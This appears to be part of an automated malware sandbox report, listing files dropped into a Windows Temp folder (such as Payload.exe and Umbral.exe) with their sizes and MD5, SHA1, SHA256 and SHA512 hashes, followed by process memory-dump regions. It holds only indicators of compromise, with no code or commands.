5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Temp\INSTALLER1.exe

Filesize
63KB

MD5
6c575ec28ef4f6108f2acf9775938100

SHA1
c3b5d9f59b53768817d3c6dd93a49cef5a40a9e2

SHA256
609d9f9c8da8f777e17ff1a716c07e39e3b2d7fd76086436cf2e2383fe8bcd8c

SHA512
950f48b90492b7f0ac702c2cfd8822eab510819024fbcba2407217280e9d069c39aeae27f4bd6e6ce37efc9de52fad52ad15a07b8ce43c58f43bb5926278ddd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Payload.exe

Filesize
54KB

MD5
29527eb6dd3c1e2b8dbc17d70ad1fb20

SHA1
8fafd2e9914b32797c957f58a1254afc7dccf5af

SHA256
dafc09f9798d4c1134845b08749c514a3478ed4a45837e12fd717012ec27c694

SHA512
52e315cd12482d8a147e5d810e7fbb116cc15b4163e3015f5d579b0621980a15195a4354528bce24a3aff1e47766d95dea71f09563da8e43c781020006bb0e00

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
62099472f40d33f1caf73e36e866b9e7

SHA1
9d1e27b780ba14d0e41d366d79b0f42d4a782e7e

SHA256
f343ca46350a3c48f888be39bf1247fcab2bcd731889fc16828aac5f681edebc

SHA512
3356bd93afdff76dfc995b8bba3fc96d772e371c3ae6f289cbdb58cffef4906a5f8c2755152765c8cc96b5fc61e97186e42eceaa5e8619d15e172441c95f9764

Download Submit
C:\Users\Admin\AppData\Local\Temp\WizClient.exe

Filesize
61KB

MD5
d63d40b2af636f58cfbabe878e42f0a7

SHA1
3f97fb34eceff4e64cd3adb6f5cb4f1fabaf06ed

SHA256
536699ce7a068f324c719b4f429bf0aefb82602fcc18ca4d99d76aa53fbdb19a

SHA512
e8d771744ad9b2fc85b6f7c655f0e24bd0e42fa4a6575ed4e3301c325750c6e52dbc0b8565b30adf1303986d026d9a4d6a936a9093be8707a8ddbac7933242b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe

Filesize
40KB

MD5
47f267290124f530b9c04563b533db83

SHA1
fccb81909c612554fce4303daeffc750a71ee44e

SHA256
479db498a032418957c1616b13187402d7f626afa32dd4fcf56313d78ec23eeb

SHA512
a81b1ca99fec7a536eabc62f57668e46b832e534ccba43f3ab25a9d33d394745d24bad5f72225244f20be5ddcb44529d72efa31b92bc9e03f34e3b9ddb4f9e3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sl1h2pyl.5n0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA345.tmp.bat

Filesize
150B

MD5
a7288abf9b20c1862d3113f70b8c02fd

SHA1
8dce22a3bfc1ef6837a983ca3241782c90ddc673

SHA256
721542429a4ec6889c7b9e650ac7b40e745308f74738d828edc3bd14741b65b2

SHA512
ab7955d80fd5a67ba2fd377d2692b3a48c663494674f77ec263d774a232c86eda020cbb7e5dd9fbcafcf4bcc92078f22537803a2bccf5522e6e7a2bc65d3ac7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpFB09.tmp.bat

Filesize
143B

MD5
0ebf5006907faa4e0081f3d70fb27e85

SHA1
ee790e8339d8239715e54de68c07a941f9831d49

SHA256
d473cb09afce6d879e91048776031f610b19f4273fceadac2b175ee6afc04d63

SHA512
2c66529959d63f126a2e0f2838319691a7634650a575f9179b1659fcf4397c06b7d0fef2523e9593be959c278cab76c7514ceeeb9be5c39219400474fc3e829d

Download Submit
memory/1044-96-0x00007FFF2CCD0000-0x00007FFF2D792000-memory.dmp

Filesize
10.8MB

Download
memory/1044-62-0x00007FFF2CCD0000-0x00007FFF2D792000-memory.dmp

Filesize
10.8MB

Download
memory/1044-37-0x0000000000320000-0x0000000000336000-memory.dmp

Filesize
88KB

Download
memory/1312-40-0x00000000007C0000-0x00000000007D6000-memory.dmp

Filesize
88KB

Download
memory/1312-27-0x00007FFF2CCD3000-0x00007FFF2CCD5000-memory.dmp

Filesize
8KB

Download
memory/2716-89-0x000001D3CA040000-0x000001D3CA0B6000-memory.dmp

Filesize
472KB

Download
memory/2716-90-0x000001D3C9FF0000-0x000001D3CA040000-memory.dmp

Filesize
320KB

Download
memory/2716-91-0x000001D3C9FC0000-0x000001D3C9FDE000-memory.dmp

Filesize
120KB

Download
memory/2716-48-0x000001D3AF870000-0x000001D3AF8B0000-memory.dmp

Filesize
256KB

Download
memory/2716-131-0x000001D3CA0D0000-0x000001D3CA0DA000-memory.dmp

Filesize
40KB

Download
memory/2716-132-0x000001D3CA100000-0x000001D3CA112000-memory.dmp

Filesize
72KB

Download
memory/3192-65-0x000001C7AF450000-0x000001C7AF472000-memory.dmp

Filesize
136KB

Download
memory/4192-60-0x00000000005C0000-0x00000000005CE000-memory.dmp

Filesize
56KB

Download